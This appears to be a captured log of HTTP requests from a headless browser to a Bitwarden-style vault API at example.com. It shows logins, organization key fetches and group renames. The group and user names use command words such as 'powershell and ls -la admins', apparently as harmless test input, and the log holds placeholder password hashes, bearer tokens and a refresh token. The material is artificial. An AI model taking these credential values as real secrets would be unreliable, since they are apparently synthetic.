{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=043de400-5863-493d-a35b-eabf900ef67e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/449.caff420ade63a9b7c354.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/keys", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa8b787-99ef-4031-90a0-fd93a8eb45aa&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b3f2eab7-0985-4f49-8ac6-7b1c20c83494&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Content-Length: 67", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"powershell and ls -la admins\",\"collections\":[],\"users\":[]}"}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/users", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3", "headers": ["Host: example.com", "Content-Length: 63", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess admins\",\"collections\":[],\"users\":[]}"}
|
||||||
|
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 74", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"ls -la and powershell team\",\"billingEmail\":\"billing@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5Njg3NDU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiZ19obXg5MERzeWFnVk1hMFgxTjZjZ09lOVozVUJCR3QzeHlSU2hMY09pUHNUMnRjR3JLYUNFcmNFczZ3QTZoYWY0NzMzcjMxT21EQ1lmWC1WRHVSckE9PSIsInRva2VuIjpudWxsfQ.JEeinNhRivVlxRx6SD0QnrVSt13z1GLAZbraMbU5CfgU1DS2I5ESQMJcp16tx9IvKu2zjMlEYIIdmnqrUUWSMFTQCQOBhEFv2y8Mr_4SXXodqF5qW2jG-FJstKSDigp-4TkYZxVmAxK8nMFHkDmNMCM84Nn1oDLz_FTum1MmZON-kwDS67yxea9V3DSvhJI9IOu3a4pwxkiZwBrYpkjkaUd9AFIaxv-DcoCuJ3EJeS1VZpshKKUb-KQD3ISSq5tAJX8R2WmHgBykHak5Uzs1t_c1qi7LYNe_9XNM31ii8Cm4gJsoxWgLGdsej2xH1ktz149txBKRX3yufaCLpuZciQ"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=dc0a2793-b7c5-4348-8c5d-e1ec1fdb14f8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/webauthn", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2MTMsImV4cCI6MTc5NDI4OTgxMywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImRjMGEyNzkzLWI3YzUtNDM0OC04YzVkLWUxZWMxZmRiMTRmOCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.RUzXbQIEfZRz8uS9FG0oVgkzgxAcVfmLHlhgyEraX0ZIuCGLA_h5Y1KW55n806XJDWED_hl3PBpw1coJ_lwhctgP-O018CeffMQFPMGm9wEwziefuJ0HrXz_yKvPjz1gDdu7GW2zfThiFpyU0ScykPoJto3FLD9956J-hLbAZv4bEk9P1Xj1lzI01rJ0HfF_1YinoYK2I6ERjUeHDJy2mfA3k5pbNicrp57JJjKludvHqxo0RBPp5e0v4a4U21IE7OZiSe9LJfvBSnmqTh65nD_Xy3j7fWEyl_YBO5QAyPcMHzVWWVqbIbWY9dDz9QT3KHXIVribNsmRxhG3KUxrfg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
